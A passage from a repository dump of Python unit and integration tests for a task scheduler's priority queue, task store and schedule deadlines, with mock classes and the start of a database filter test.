    "content": "import unittest\nimport uuid\nfrom datetime import datetime, timedelta, timezone\nfrom types import SimpleNamespace\nfrom unittest import mock\n\nfrom scheduler import config, models, storage\nfrom scheduler.schedulers.queue import InvalidItemError, QueueFullError\nfrom scheduler.storage import stores\n\nfrom tests.factories import OrganisationFactory\nfrom tests.mocks import item as mock_item\nfrom tests.mocks import queue as mock_queue\nfrom tests.mocks import scheduler as mock_scheduler\nfrom tests.utils import functions\n\n\nclass SchedulerTestCase(unittest.TestCase):\n    def setUp(self):\n        # Application Context\n        self.mock_ctx = mock.patch(\"scheduler.context.AppContext\").start()\n        self.mock_ctx.config = config.settings.Settings()\n\n        # Database\n        self.dbconn = storage.DBConn(str(self.mock_ctx.config.db_uri))\n        self.dbconn.connect()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        models.Base.metadata.create_all(self.dbconn.engine)\n\n        self.mock_ctx.datastores = SimpleNamespace(\n            **{\n                stores.TaskStore.name: stores.TaskStore(self.dbconn),\n                stores.PriorityQueueStore.name: stores.PriorityQueueStore(self.dbconn),\n                stores.ScheduleStore.name: stores.ScheduleStore(self.dbconn),\n            }\n        )\n\n        identifier = uuid.uuid4().hex\n\n        queue = mock_queue.MockPriorityQueue(\n            pq_id=identifier,\n            maxsize=self.mock_ctx.config.pq_maxsize,\n            item_type=mock_item.MockData,\n            allow_priority_updates=True,\n            pq_store=self.mock_ctx.datastores.pq_store,\n        )\n\n        self.scheduler = mock_scheduler.MockScheduler(\n            ctx=self.mock_ctx, scheduler_id=identifier, queue=queue, create_schedule=True\n        )\n\n        # Organisation\n        self.organisation = OrganisationFactory()\n\n    def tearDown(self):\n        self.scheduler.stop()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        self.dbconn.engine.dispose()\n\n    def test_push_items_to_queue(self):\n        # Arrange\n        items = []\n        for i in range(10):\n            item = functions.create_task(\n                scheduler_id=self.scheduler.scheduler_id, organisation=self.organisation.id, priority=i + 1\n            )\n            items.append(item)\n\n        # Act\n        self.scheduler.push_items_to_queue(items)\n\n        # Assert\n        self.assertEqual(10, self.scheduler.queue.qsize())\n\n        for i, item in enumerate(items):\n            # Task should be on priority queue\n            pq_item = self.scheduler.queue.peek(i)\n            self.assertEqual(pq_item.id, item.id)\n\n            # Task should be in datastore, and queued\n            task_db = self.mock_ctx.datastores.task_store.get_task(str(item.id))\n            self.assertEqual(task_db.id, item.id)\n            self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n            # Schedule should be in datastore\n            schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule(task_db.schedule_id)\n            self.assertIsNotNone(schedule_db)\n            self.assertEqual(schedule_db.id, task_db.schedule_id)\n\n    def test_push_item_to_queue(self):\n        # Arrange\n        item = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, organisation=self.organisation.id, priority=1\n        )\n\n        # Act\n        self.scheduler.push_item_to_queue(item)\n\n        # Task should be on priority queue\n        pq_item = self.scheduler.queue.peek(0)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(pq_item.id, item.id)\n\n        # Task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(str(item.id))\n        self.assertEqual(task_db.id, item.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Schedule should be in datastore\n        schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule(task_db.schedule_id)\n        self.assertIsNotNone(schedule_db)\n        self.assertEqual(schedule_db.id, task_db.schedule_id)\n\n    def test_push_item_to_queue_create_schedule_false(self):\n        # Arrange\n        self.scheduler.create_schedule = False\n\n        item = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, organisation=self.organisation.id, priority=1\n        )\n\n        # Act\n        self.scheduler.push_item_to_queue(item)\n\n        # Task should be on priority queue\n        pq_item = self.scheduler.queue.peek(0)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(pq_item.id, item.id)\n\n        # Task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(str(item.id))\n        self.assertEqual(task_db.id, item.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n        self.assertIsNone(task_db.schedule_id)\n\n        # Schedule should not be in datastore\n        schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule_by_hash(task_db.hash)\n        self.assertIsNone(schedule_db)\n\n    def test_push_item_to_queue_full(self):\n        # Arrange\n        item = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, organisation=self.organisation.id, priority=1\n        )\n\n        self.scheduler.queue.maxsize = 1\n\n        # Act\n        self.scheduler.push_item_to_queue_with_timeout(item=item, max_tries=1)\n\n        # Assert\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        with self.assertRaises(QueueFullError):\n            self.scheduler.push_item_to_queue_with_timeout(item=item, max_tries=1)\n\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n    def test_push_item_to_queue_invalid(self):\n        # Arrange\n        item = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, organisation=self.organisation.id, priority=1\n        )\n        item.data = {\"invalid\": \"data\"}\n\n        # Assert\n        with self.assertRaises(InvalidItemError):\n            self.scheduler.push_item_to_queue(item)\n\n    def test_pop_item_from_queue(self):\n        # Arrange\n        item = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, organisation=self.organisation.id, priority=1\n        )\n\n        self.scheduler.push_item_to_queue(item)\n\n        # Act\n        popped_items = self.scheduler.pop_item_from_queue()\n\n        # Assert\n        self.assertEqual(0, self.scheduler.queue.qsize())\n        self.assertEqual(1, len(popped_items))\n        self.assertEqual(popped_items[0].id, item.id)\n\n        # Status should be dispatched\n        task_db = self.mock_ctx.datastores.task_store.get_task(str(item.id))\n        self.assertEqual(task_db.status, models.TaskStatus.DISPATCHED)\n\n    def test_post_push(self):\n        \"\"\"When a task is added to the queue, it should be added to the database\"\"\"\n        # Arrange\n        item = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, organisation=self.organisation.id, priority=1\n        )\n\n        # Act\n        self.scheduler.push_item_to_queue(item)\n\n        # Assert: Task should be on priority queue\n        pq_item = self.scheduler.queue.peek(0)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(pq_item.id, item.id)\n\n        # Assert: Task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(str(item.id))\n        self.assertEqual(task_db.id, item.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Assert: Schedule should be in datastore\n        schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule(task_db.schedule_id)\n        self.assertIsNotNone(schedule_db)\n        self.assertEqual(schedule_db.id, task_db.schedule_id)\n\n        # Assert: schedule should have a deadline\n        self.assertIsNotNone(schedule_db.deadline_at)\n\n        # Assert Schedule cron should NOT be set\n        self.assertIsNone(schedule_db.schedule)\n\n        # Assert: deadline should be in the future, at least later than the\n        # grace period\n        self.assertGreater(schedule_db.deadline_at, datetime.now(timezone.utc))\n\n    def test_post_push_schedule_enabled(self):\n        # Arrange\n        item = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, organisation=self.organisation.id, priority=1\n        )\n\n        # Act\n        self.scheduler.push_item_to_queue(item)\n\n        # Assert: Task should be on priority queue\n        pq_item = self.scheduler.queue.peek(0)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(pq_item.id, item.id)\n\n        # Assert: Task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(str(item.id))\n        self.assertEqual(task_db.id, item.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Assert: Schedule should be in datastore\n        schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule(task_db.schedule_id)\n        self.assertIsNotNone(schedule_db)\n        self.assertEqual(schedule_db.id, task_db.schedule_id)\n\n        # Assert: schedule should have a deadline\n        self.assertIsNotNone(schedule_db.deadline_at)\n\n        # Assert Schedule cron should NOT be set\n        self.assertIsNone(schedule_db.schedule)\n\n        # Assert: deadline should be in the future, at least later than the\n        # grace period\n        self.assertGreater(schedule_db.deadline_at, datetime.now(timezone.utc))\n\n    def test_post_push_schedule_update_schedule(self):\n        # Arrange\n        first_item = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, organisation=self.organisation.id, priority=1\n        )\n\n        # Act\n        first_item_db = self.scheduler.push_item_to_queue(first_item)\n\n        initial_schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule(first_item_db.schedule_id)\n\n        # Pop\n        self.scheduler.pop_item_from_queue()\n\n        # Act\n        second_item = first_item_db.model_copy()\n        second_item.id = uuid.uuid4()\n        second_item_db = self.scheduler.push_item_to_queue(second_item)\n\n        updated_schedule_db = self.mock_ctx.datastores.schedule_store.get_schedule(second_item_db.schedule_id)\n\n        # Assert\n        self.assertEqual(initial_schedule_db.id, updated_schedule_db.id)\n        self.assertNotEqual(updated_schedule_db.deadline_at, initial_schedule_db.deadline_at)\n\n        # There should be only one schedule\n        schedules, _ = self.mock_ctx.datastores.schedule_store.get_schedules(scheduler_id=self.scheduler.scheduler_id)\n\n        self.assertEqual(1, len(schedules))\n\n    def test_post_push_schedule_is_not_none(self):\n        \"\"\"When a schedule is provided, it should be used to set the deadline\"\"\"\n        # Arrange\n        first_item = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, organisation=self.organisation.id, priority=1\n        )\n\n        schedule = models.Schedule(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            schedule=\"0 0 * * *\",\n            hash=first_item.hash,\n            data=first_item.data,\n        )\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        first_item.schedule_id = schedule_db.id\n        self.mock_ctx.datastores.task_store.update_task(first_item)\n\n        # Act\n        self.scheduler.push_item_to_queue(first_item)\n\n        # Assert: Check if the deadline_at is set correctly, to the next\n        # day at midnight\n        self.assertEqual(\n            schedule_db.deadline_at,\n            datetime.now(timezone.utc).replace(hour=0, minute=0, second=0, microsecond=0) + timedelta(days=1),\n        )\n\n    def test_post_push_schedule_is_none(self):\n        \"\"\"When a schedule is not provided, the deadline should be set to None\"\"\"\n        # Arrange\n        first_item = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, organisation=self.organisation.id, priority=1\n        )\n\n        schedule = models.Schedule(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            hash=first_item.hash,\n            data=first_item.data,\n        )\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        first_item.schedule_id = schedule_db.id\n        self.mock_ctx.datastores.task_store.update_task(first_item)\n\n        # Act\n        self.scheduler.push_item_to_queue(first_item)\n\n        # Assert:\n        self.assertIsNone(schedule_db.deadline_at)\n\n    def test_post_push_schedule_auto_calculate_deadline(self):\n        \"\"\"When a schedule is not provided, and auto_calculate_deadline is True, the deadline should be set\"\"\"\n        # Arrange\n        self.scheduler.auto_calculate_deadline = True\n\n        first_item = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, organisation=self.organisation.id, priority=1\n        )\n\n        schedule = models.Schedule(\n            scheduler_id=self.scheduler.scheduler_id,\n            organisation=self.organisation.id,\n            hash=first_item.hash,\n            data=first_item.data,\n        )\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        first_item.schedule_id = schedule_db.id\n        self.mock_ctx.datastores.task_store.update_task(first_item)\n\n        # Act\n        self.scheduler.push_item_to_queue(first_item)\n\n        # Assert: Check if the deadline_at is set correctly\n        schedule_db_updated = self.mock_ctx.datastores.schedule_store.get_schedule(first_item.schedule_id)\n        self.assertIsNotNone(schedule_db_updated.deadline_at)\n\n    def test_post_pop(self):\n        \"\"\"When a task is popped from the queue, it should be removed from the database\"\"\"\n        # Arrange\n        item = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, organisation=self.organisation.id, priority=1\n        )\n\n        # Act\n        self.scheduler.push_item_to_queue(item)\n\n        # Assert: task should be on priority queue\n        pq_item = self.scheduler.queue.peek(0)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(pq_item.id, item.id)\n\n        # Assert: task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(str(item.id))\n        self.assertEqual(task_db.id, item.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n        # Act\n        self.scheduler.pop_item_from_queue()\n\n        # Assert: task should be in datastore, and dispatched\n        self.assertEqual(0, self.scheduler.queue.qsize())\n        task_db = self.mock_ctx.datastores.task_store.get_task(str(item.id))\n        self.assertEqual(task_db.id, item.id)\n        self.assertEqual(task_db.status, models.TaskStatus.DISPATCHED)\n"
  },
  {
    "path": "mula/tests/integration/test_task_store.py",
    "content": "import unittest\nfrom datetime import datetime, timedelta, timezone\nfrom types import SimpleNamespace\nfrom unittest import mock\n\nfrom scheduler import config, models, storage\nfrom scheduler.storage import stores\n\nfrom tests.factories import OrganisationFactory\nfrom tests.utils import functions\n\n\nclass StoreTestCase(unittest.TestCase):\n    def setUp(self):\n        # Application Context\n        self.mock_ctx = mock.patch(\"scheduler.context.AppContext\").start()\n        self.mock_ctx.config = config.settings.Settings()\n\n        # Database\n        self.dbconn = storage.DBConn(str(self.mock_ctx.config.db_uri))\n        self.dbconn.connect()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        models.Base.metadata.create_all(self.dbconn.engine)\n\n        self.mock_ctx.datastores = SimpleNamespace(\n            **{\n                stores.PriorityQueueStore.name: stores.PriorityQueueStore(self.dbconn),\n                stores.TaskStore.name: stores.TaskStore(self.dbconn),\n            }\n        )\n\n        # Organisation\n        self.organisation = OrganisationFactory()\n\n    def tearDown(self):\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        self.dbconn.engine.dispose()\n\n    def test_create_task(self):\n        task = functions.create_task(scheduler_id=self.organisation.id, organisation=self.organisation.id)\n        created_task = self.mock_ctx.datastores.task_store.create_task(task)\n        self.assertIsNotNone(created_task)\n\n    def test_get_tasks(self):\n        # Arrange\n        for i in range(5):\n            task = functions.create_task(scheduler_id=self.organisation.id, organisation=self.organisation.id)\n            self.mock_ctx.datastores.task_store.create_task(task)\n\n        # Act\n        tasks, count = self.mock_ctx.datastores.task_store.get_tasks(scheduler_id=self.organisation.id)\n\n        # Assert\n        self.assertEqual(len(tasks), 5)\n        self.assertEqual(count, 5)\n\n    def get_tasks_by_type(self):\n        # Arrange\n        for i in range(5):\n            task = functions.create_task(scheduler_id=self.organisation.id, organisation=self.organisation.id)\n            self.mock_ctx.datastores.task_store.create_task(task)\n\n        # Act\n        tasks, count = self.mock_ctx.datastores.task_store.get_tasks(\n            scheduler_id=self.organisation.id, task_type=functions.TestModel.type\n        )\n\n        # Assert\n        self.assertEqual(len(tasks), 5)\n        self.assertEqual(count, 5)\n\n    def test_get_tasks_by_hash(self):\n        # Arrange\n        hashes = []\n        data = functions.create_test_model()\n        for i in range(5):\n            task = functions.create_task(\n                scheduler_id=self.organisation.id, organisation=self.organisation.id, data=data\n            )\n            self.mock_ctx.datastores.task_store.create_task(task)\n            hashes.append(task.hash)\n\n        # Every task should have the same hash\n        self.assertEqual(len(set(hashes)), 1)\n\n        # Act\n        tasks = self.mock_ctx.datastores.task_store.get_tasks_by_hash(data.hash)\n\n        # Assert\n        self.assertEqual(len(tasks), 5)\n\n    def test_get_task(self):\n        # Arrange\n        task = functions.create_task(scheduler_id=self.organisation.id, organisation=self.organisation.id)\n        created_task = self.mock_ctx.datastores.task_store.create_task(task)\n\n        # Act\n        task = self.mock_ctx.datastores.task_store.get_task(created_task.id)\n\n        # Assert\n        self.assertIsNotNone(task)\n\n    def test_get_latest_task_by_hash(self):\n        # Arrange\n        hashes = []\n        data = functions.create_test_model()\n        for i in range(5):\n            task = functions.create_task(\n                scheduler_id=self.organisation.id, organisation=self.organisation.id, data=data\n            )\n            self.mock_ctx.datastores.task_store.create_task(task)\n            hashes.append(task.hash)\n\n        # Every task should have the same hash\n        self.assertEqual(len(set(hashes)), 1)\n\n        # Act\n        task = self.mock_ctx.datastores.task_store.get_latest_task_by_hash(data.hash)\n\n        # Assert\n        self.assertIsNotNone(task)\n\n    def test_update_task(self):\n        # Arrange\n        task = functions.create_task(scheduler_id=self.organisation.id, organisation=self.organisation.id)\n        created_task = self.mock_ctx.datastores.task_store.create_task(task)\n\n        # Act\n        created_task.status = models.TaskStatus.COMPLETED\n        self.mock_ctx.datastores.task_store.update_task(created_task)\n\n        # Assert\n        updated_task = self.mock_ctx.datastores.task_store.get_task(created_task.id)\n        self.assertEqual(updated_task.status, models.TaskStatus.COMPLETED)\n\n    def test_cancel_task(self):\n        # Arrange\n        task = functions.create_task(scheduler_id=self.organisation.id, organisation=self.organisation.id)\n        created_task = self.mock_ctx.datastores.task_store.create_task(task)\n\n        # Act\n        self.mock_ctx.datastores.task_store.cancel_tasks(self.organisation.id, [created_task.id])\n\n        # Assert\n        updated_task = self.mock_ctx.datastores.task_store.get_task(created_task.id)\n        self.assertEqual(updated_task.status, models.TaskStatus.CANCELLED)\n\n    def test_get_status_counts(self):\n        # Arrange\n        one_hour = datetime.now(timezone.utc) - timedelta(hours=1)\n        four_hours = datetime.now(timezone.utc) - timedelta(hours=4)\n        twenty_three_hours = datetime.now(timezone.utc) - timedelta(hours=23)\n        twenty_five_hours = datetime.now(timezone.utc) - timedelta(hours=25)\n\n        for r, status, modified_at in zip(\n            (range(2), range(2), range(2), range(2), range(2)),\n            (\n                models.TaskStatus.QUEUED,\n                models.TaskStatus.COMPLETED,\n                models.TaskStatus.FAILED,\n                models.TaskStatus.DISPATCHED,\n                models.TaskStatus.DISPATCHED,\n            ),\n            (one_hour, four_hours, one_hour, twenty_five_hours, twenty_three_hours),\n        ):\n            for _ in r:\n                data = functions.create_test_model()\n                task = models.Task(\n                    scheduler_id=self.organisation.id,\n                    organisation=self.organisation.id,\n                    priority=1,\n                    status=status,\n                    type=functions.TestModel.type,\n                    hash=data.hash,\n                    data=data.model_dump(),\n                    modified_at=modified_at,\n                )\n                self.mock_ctx.datastores.task_store.create_task(task)\n\n        # Act\n        results = self.mock_ctx.datastores.task_store.get_status_counts()\n\n        # Assert\n        self.assertEqual(results[models.TaskStatus.QUEUED.value], 2)\n        self.assertEqual(results[models.TaskStatus.COMPLETED.value], 2)\n        self.assertEqual(results[models.TaskStatus.FAILED.value], 2)\n        self.assertEqual(results[models.TaskStatus.DISPATCHED.value], 4)\n\n    def test_get_status_count_per_hour(self):\n        # Arrange\n        one_hour = datetime.now(timezone.utc) - timedelta(hours=1)\n        four_hours = datetime.now(timezone.utc) - timedelta(hours=4)\n        twenty_three_hours = datetime.now(timezone.utc) - timedelta(hours=23)\n        twenty_five_hours = datetime.now(timezone.utc) - timedelta(hours=25)\n\n        for r, status, modified_at in zip(\n            (range(2), range(2), range(2), range(2), range(2)),\n            (\n                models.TaskStatus.QUEUED,\n                models.TaskStatus.COMPLETED,\n                models.TaskStatus.FAILED,\n                models.TaskStatus.DISPATCHED,\n                models.TaskStatus.DISPATCHED,\n            ),\n            (one_hour, four_hours, one_hour, twenty_five_hours, twenty_three_hours),\n        ):\n            for _ in r:\n                data = functions.create_test_model()\n                task = models.Task(\n                    scheduler_id=self.organisation.id,\n                    organisation=self.organisation.id,\n                    priority=1,\n                    status=status,\n                    type=functions.TestModel.type,\n                    hash=data.hash,\n                    data=data.model_dump(),\n                    modified_at=modified_at,\n                )\n                self.mock_ctx.datastores.task_store.create_task(task)\n\n        # Act\n        results = self.mock_ctx.datastores.task_store.get_status_count_per_hour()\n        keys = [k for k in results]\n\n        # Assert\n        self.assertEqual(len(results), 3)\n        self.assertEqual(results.get(keys[0]).get(\"queued\"), 2)\n        self.assertEqual(results.get(keys[0]).get(\"failed\"), 2)\n        self.assertEqual(results.get(keys[0]).get(\"total\"), 4)\n        self.assertEqual(results.get(keys[1]).get(\"completed\"), 2)\n        self.assertEqual(results.get(keys[1]).get(\"total\"), 2)\n        self.assertEqual(results.get(keys[2]).get(\"dispatched\"), 2)\n        self.assertEqual(results.get(keys[2]).get(\"total\"), 2)\n"
  },
  {
    "path": "mula/tests/mocks/__init__.py",
    "content": "from .services import MockKatalogusService\n"
  },
  {
    "path": "mula/tests/mocks/item.py",
    "content": "from typing import Any, ClassVar\n\nimport mmh3\nimport pydantic\n\n\nclass MockData(pydantic.BaseModel):\n    type: ClassVar[str] = \"test-model\"\n    id: str\n    name: str\n    count: int = 0\n    categories: list[str] | None = None\n    child: Any = None\n\n    def __init__(self, **data: Any):\n        super().__init__(**data)\n\n        if self.categories is None:\n            self.categories = []\n\n    @property\n    def hash(self) -> str:\n        return mmh3.hash_bytes(f\"{self.id}-{self.name}\").hex()\n"
  },
  {
    "path": "mula/tests/mocks/listener.py",
    "content": "import time\n\nfrom scheduler.clients.amqp import listeners\n\n\nclass MockListener(listeners.Listener):\n    def listen(self) -> None:\n        time.sleep(1)\n\n    def stop(self) -> None:\n        pass\n\n\nclass MockRabbitMQ(listeners.RabbitMQ):\n    pass\n"
  },
  {
    "path": "mula/tests/mocks/queue.py",
    "content": "from scheduler import models\nfrom scheduler.schedulers.queue import PriorityQueue\nfrom scheduler.utils import dict_utils\n\n\nclass MockPriorityQueue(PriorityQueue):\n    def create_hash(self, p_item: models.Task) -> str:\n        return dict_utils.deep_get(p_item.model_dump(), [\"data\", \"id\"])\n"
  },
  {
    "path": "mula/tests/mocks/ranker.py",
    "content": "from typing import Any\n\nfrom scheduler import rankers\n\n\nclass MockRanker(rankers.Ranker):\n    def rank(self, obj: Any) -> int:\n        return 0\n"
  },
  {
    "path": "mula/tests/mocks/scheduler.py",
    "content": "import time\n\nfrom scheduler import schedulers\n\nfrom tests.utils import functions\n\nfrom . import listener\n\n\nclass MockScheduler(schedulers.Scheduler):\n    ITEM_TYPE = functions.TestModel\n\n    def run(self) -> None:\n        # Listener\n        self.listeners[\"mock-listener\"] = listener.MockListener()\n\n        self.run_in_thread(name=\"mock-listener\", target=self.listeners[\"mock-listener\"].listen, loop=True)\n\n        # Thread\n        self.run_in_thread(name=\"mock-scheduler\", target=self._run, loop=True)\n\n    def _run(self) -> None:\n        time.sleep(1)\n"
  },
  {
    "path": "mula/tests/mocks/services.py",
    "content": "from scheduler import models\n\n\nclass MockKatalogusService:\n    def __init__(self):\n        self.organisations: dict[str, models.Organisation] = {}\n\n    def get_organisation(self, org_id: str) -> models.Organisation:\n        \"\"\"Get the organisation with the given id.\"\"\"\n        return self.organisations[org_id]\n\n    def get_organisations(self) -> list[models.Organisation]:\n        \"\"\"Get all organisations.\"\"\"\n        return list(self.organisations.values())\n\n    def get_new_boefjes_by_org_id(self, org_id: str) -> list[models.Boefje]:\n        \"\"\"Get all new Boefjes for the given organisation.\"\"\"\n        return []\n\n    def flush_caches(self) -> None:\n        \"\"\"Flush the cache.\"\"\"\n        pass\n"
  },
  {
    "path": "mula/tests/mocks/task.py",
    "content": "import uuid\nfrom typing import ClassVar\n\nimport pydantic\n\n\nclass MockTask(pydantic.BaseModel):\n    type: ClassVar[str] = \"mock-task\"\n\n    id: str = pydantic.Field(default_factory=lambda: uuid.uuid4())\n\n    def hash(self):\n        return self.id\n"
  },
  {
    "path": "mula/tests/simulation/__init__.py",
    "content": ""
  },
  {
    "path": "mula/tests/simulation/test_simulation.py",
    "content": "# NOTE: This file is DEPRECATED\nimport unittest\nimport uuid\nfrom unittest import mock\n\nfrom scheduler import config, models, queues, rankers, schedulers\n\nfrom tests.factories import (\n    BoefjeFactory,\n    BoefjeMetaFactory,\n    OOIFactory,\n    OrganisationFactory,\n    PluginFactory,\n    RawDataFactory,\n    ScanProfileFactory,\n)\nfrom tests.utils import profile_memory\n\n\nclass SimulationTestCase(unittest.TestCase):\n    def setUp(self):\n        self.cfg = config.settings.Settings()\n\n        self.mock_ctx = mock.patch(\"scheduler.context.AppContext\").start()\n        self.mock_ctx.config = self.cfg\n\n        self.organisation = OrganisationFactory()\n\n    def create_normalizer_scheduler_for_organisation(self, organisation):\n        normalizer_queue = queues.NormalizerPriorityQueue(\n            pq_id=f\"normalizer-{organisation.id}\",\n            maxsize=self.cfg.pq_maxsize,\n            item_type=models.NormalizerTask,\n            allow_priority_updates=True,\n        )\n\n        normalizer_ranker = rankers.NormalizerRanker(ctx=self.mock_ctx)\n\n        return schedulers.NormalizerScheduler(\n            ctx=self.mock_ctx,\n            scheduler_id=organisation.id,\n            queue=normalizer_queue,\n            ranker=normalizer_ranker,\n            organisation=organisation,\n        )\n\n    def create_boefje_scheduler_for_organisation(self, organisation):\n        boefje_queue = queues.BoefjePriorityQueue(\n            pq_id=f\"boefje-{organisation.id}\",\n            maxsize=self.cfg.pq_maxsize,\n            item_type=models.BoefjeTask,\n            allow_priority_updates=True,\n        )\n\n        boefje_ranker = rankers.BoefjeRanker(ctx=self.mock_ctx)\n\n        return schedulers.BoefjeScheduler(\n            ctx=self.mock_ctx,\n            scheduler_id=organisation.id,\n            queue=boefje_queue,\n            ranker=boefje_ranker,\n            organisation=organisation,\n        )\n\n    @profile_memory\n    @mock.patch(\"scheduler.context.AppContext.services.scan_profile.get_latest_object\")\n    @mock.patch(\"scheduler.context.AppContext.services.octopoes.get_random_objects\")\n    @mock.patch(\"scheduler.schedulers.BoefjeScheduler.create_tasks_for_oois\")\n    def test_simulation_boefje_queue(self, mock_create_tasks_for_oois, mock_get_random_objects, mock_get_latest_object):\n        iterations = 1000\n        oois = [OOIFactory(scan_profile=ScanProfileFactory(level=0)) for _ in range(iterations)]\n\n        mock_get_latest_object.side_effect = oois + [None]\n\n        mock_get_random_objects.return_value = []\n\n        # We just create 1 task for each OOI\n        mock_create_tasks_for_oois.side_effect = [\n            [\n                queues.PrioritizedItem(\n                    0,\n                    models.BoefjeTask(\n                        id=uuid.uuid4(),\n                        boefje=BoefjeFactory(),\n                        input_ooi=ooi.primary_key,\n                        organization=self.organisation.id,\n                    ),\n                )\n            ]\n            for ooi in oois\n        ]\n\n        b_scheduler = self.create_boefje_scheduler_for_organisation(self.organisation)\n        b_scheduler.populate_queue()\n\n        self.assertEqual(iterations, b_scheduler.queue.qsize())\n\n    @profile_memory\n    @mock.patch(\"scheduler.schedulers.NormalizerScheduler.create_tasks_for_raw_data\")\n    @mock.patch(\"scheduler.context.AppContext.services.raw_data.get_latest_raw_data\")\n    def test_simulation_normalizer_queue(self, mock_get_latest_raw_data, mock_create_tasks_for_raw_data):\n        iterations = 1000\n        raw_data = [\n            RawDataFactory(\n                boefje_meta=BoefjeMetaFactory(\n                    boefje=PluginFactory(type=\"boefje\", scan_level=0),\n                    input_ooi=OOIFactory(scan_profile=ScanProfileFactory(level=0)).primary_key,\n                )\n            )\n            for _ in range(iterations)\n        ]\n\n        mock_get_latest_raw_data.side_effect = raw_data + [None]\n\n        # We just create 1 task for each raw data\n        mock_create_tasks_for_raw_data.side_effect = [\n            [\n                queues.PrioritizedItem(\n                    0,\n                    models.NormalizerTask(\n                        id=uuid.uuid4(), normalizer=PluginFactory(type=\"normalizer\"), boefje_meta=raw_file.boefje_meta\n                    ),\n                )\n            ]\n            for raw_file in raw_data\n        ]\n\n        n_scheduler = self.create_normalizer_scheduler_for_organisation(self.organisation)\n        n_scheduler.populate_queue()\n\n        self.assertEqual(iterations, n_scheduler.queue.qsize())\n"
  },
  {
    "path": "mula/tests/unit/__init__.py",
    "content": ""
  },
  {
    "path": "mula/tests/unit/test_filter.py",
    "content": "import json\nimport os\nimport unittest\n\nfrom scheduler.storage.filters import Filter, FilterRequest, apply_filter\nfrom sqlalchemy import Boolean, Column, Float, ForeignKey, Integer, String, create_engine\nfrom sqlalchemy.dialects.postgresql import JSONB\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship, sessionmaker\n\nBase = declarative_base()\n\n\nclass TestModel(Base):\n    __tablename__ = \"test\"\n    id = Column(Integer, primary_key=True)\n    name = Column(String)\n    age = Column(Integer)\n    height = Column(Float)\n    is_active = Column(Boolean)\n    data = Column(JSONB, nullable=False)\n\n    children = relationship(\"TestModelChild\", back_populates=\"parent\")\n\n\nclass TestModelChild(Base):\n    __tablename__ = \"test_child\"\n    id = Column(Integer, primary_key=True)\n    name = Column(String)\n    age = Column(Integer)\n    height = Column(Float)\n    is_active = Column(Boolean)\n    data = Column(JSONB, nullable=False)\n\n    parent_id = Column(Integer, ForeignKey(\"test.id\", ondelete=\"SET NULL\"))\n    parent = relationship(\"TestModel\", back_populates=\"children\")\n\n\n# Database setup\nengine = create_engine(f\"{os.getenv('SCHEDULER_DB_URI')}\")\nBase.metadata.drop_all(engine)\nBase.metadata.create_all(engine)\nSession = sessionmaker(bind=engine)\nsession = Session()\n\n\nclass FilteringTestCase(unittest.TestCase):\n    def setUp(self):\n        alice = TestModel(\n            name=\"Alice\",\n            age=25,\n            height=1.8,\n            is_active=True,\n            data={\"foo\": \"bar\", \"score\": 15, \"nested\": {\"bar\": \"baz\"}, \"list\": [\"ipv4\", \"network/local\"]},\n        )\n        bob = TestModel(\n            name=\"Bob\",\n            age=30,\n            height=1.7,\n            is_active=False,\n            data={\"foo\": \"baz\", \"score\": 25, \"nested\": {\"bar\": \"baz\"}, \"list\": [\"ipv4\", \"ipv6\", \"network/local\"]},\n        )\n        charlie = TestModel(\n            name=\"Charlie\",\n            age=28,\n            height=1.6,\n            is_active=True,\n            data={\"foo\": \"bar\", \"score\": 35, \"nested\": {\"bar\": \"baz\"}, \"list\": [\"ipv4\", \"ipv6\", \"network/internet\"]},\n        )\n\n        session.add_all([alice, bob, charlie])\n\n        # Get ids\n        session.flush()\n\n        david = TestModelChild(\n            name=\"David\",\n            age=12,\n            